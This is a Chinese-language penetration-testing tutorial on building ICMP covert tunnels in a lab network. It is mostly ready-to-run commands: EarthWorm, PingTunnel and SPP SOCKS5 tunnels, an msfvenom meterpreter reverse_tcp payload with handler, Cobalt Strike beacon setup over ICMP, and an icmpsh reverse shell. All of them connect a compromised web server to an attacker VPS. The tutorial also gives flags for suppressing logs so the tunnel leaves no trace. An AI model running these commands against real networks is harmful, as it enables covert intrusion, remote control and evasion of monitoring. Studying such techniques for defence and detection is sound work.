icmp隧道搭建
字数 1648 2025-08-09 18:44:06
ICMP隧道搭建技术详解
一、ICMP隧道技术概述
ICMP隧道技术是一种在网络层进行数据通信的隐蔽通道技术,主要用于在TCP协议被限制的环境中建立通信通道。ICMP协议作为网络层协议,通常不会被应用层防火墙拦截,这使得ICMP隧道成为内网渗透中的重要技术手段。
技术特点:
- 基于ICMP协议(网络层协议)
- 可绕过应用层防火墙检测
- 可将TCP/UDP/SOCKS5流量伪装成ICMP流量
- 适用于TCP出网受限但ICMP出网允许的环境
二、环境准备
1. 实验环境配置
网络拓扑:
- 公网VPS(Kali):192.168.3.76
- Web服务器(Windows Server 2019):192.168.3.88
- 内网服务器(Windows Server 2008 R2):172.16.5.100
防火墙配置要求:
- Web服务器仅允许80端口TCP入站
- Web服务器允许ICMP协议出站
- Web服务器可访问内网服务器所有端口
- 内网服务器仅允许Web服务器IP访问
2. 工具准备
主要工具:
- EarthWorm (EW):多平台转接通讯工具
- PingTunnel:将TCP/UDP/SOCKS5流量伪装成ICMP流量
- SPP:支持多种协议的正反向代理工具
- icmpsh:基于ICMP的反向shell工具
三、ICMP隧道搭建方法
1. EW + PingTunnel组合建立SOCKS5隧道
步骤1:VPS端配置
# 启动EW监听
./ew_for_linux64 -s rcsocks -l 10080 -e 8898
# 启动PingTunnel服务端
./pingtunnel -type server
步骤2:Web服务器端配置
# 启动PingTunnel客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1
# 启动EW客户端
ew.exe -s rssocks -d 127.0.0.1 -e 9999
验证:
- 在本地配置SOCKS5代理:192.168.3.76:10080
- 可通过代理访问内网服务器资源
2. SPP搭建SOCKS5隧道
步骤1:VPS端配置
./spp -type server -proto ricmp -listen 0.0.0.0
步骤2:Web服务器端配置
spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp
验证:
- 配置SOCKS5代理:192.168.3.76:8080
- 可通过代理访问内网资源
四、通过ICMP隧道上线C2
1. MSF上线
步骤1:生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe
步骤2:VPS监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j;"
步骤3:Web服务器启动隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1
步骤4:执行木马
- 将ch4nge.exe上传到目标机器并执行
2. Cobalt Strike上线
步骤1:VPS端配置
./spp -type server -proto ricmp -listen 0.0.0.0
步骤2:Web服务器端配置
spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1
步骤3:CS配置
- 建立监听器:127.0.0.1:8082和192.168.3.76:8081
- 生成ICMP隧道专用木马并执行
五、icmpsh反弹shell
1. 工具安装
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
2. 控制端执行
python icmpsh_m.py 192.168.3.76 192.168.3.88
3. 目标端执行
icmpsh.exe -t 192.168.3.76
六、ICMP隧道环境搭建
1. Web服务器防火墙配置
入站规则:
- 禁用所有已启用的入站规则
- 新建规则允许TCP 80端口入站
- 新建规则允许远程桌面连接(仅限本地IP)
出站规则:
- 禁用所有已启用的出站规则
- 新建规则允许ICMP协议出站
- 新建规则允许访问内网服务器(172.16.5.100)所有端口
2. 内网服务器防火墙配置
入站规则:
- 禁用所有已启用的入站规则
- 新建规则仅允许Web服务器IP(172.16.5.60)访问
七、注意事项
- 使用PingTunnel客户端时务必添加
-noprint 1 -nolog 1参数,避免生成大量日志文件 - ICMP隧道要求两端能够互相ping通
- 隧道建立后,建议使用Wireshark抓包验证数据是否确实通过ICMP协议传输
- 在真实环境中,ICMP隧道可能会被网络层防火墙或IDS/IPS检测到异常ICMP流量
八、参考工具下载
- EarthWorm: https://github.com/idlefire/ew
- PingTunnel: https://github.com/esrrhs/pingtunnel
- SPP: https://github.com/esrrhs/spp
- icmpsh: https://github.com/bdamele/icmpsh
通过以上技术手段,可以在TCP出网受限但ICMP协议可用的环境中建立隐蔽通信通道,实现内网穿透、远程控制等操作。在实际渗透测试中,应根据目标网络环境选择最适合的ICMP隧道技术方案。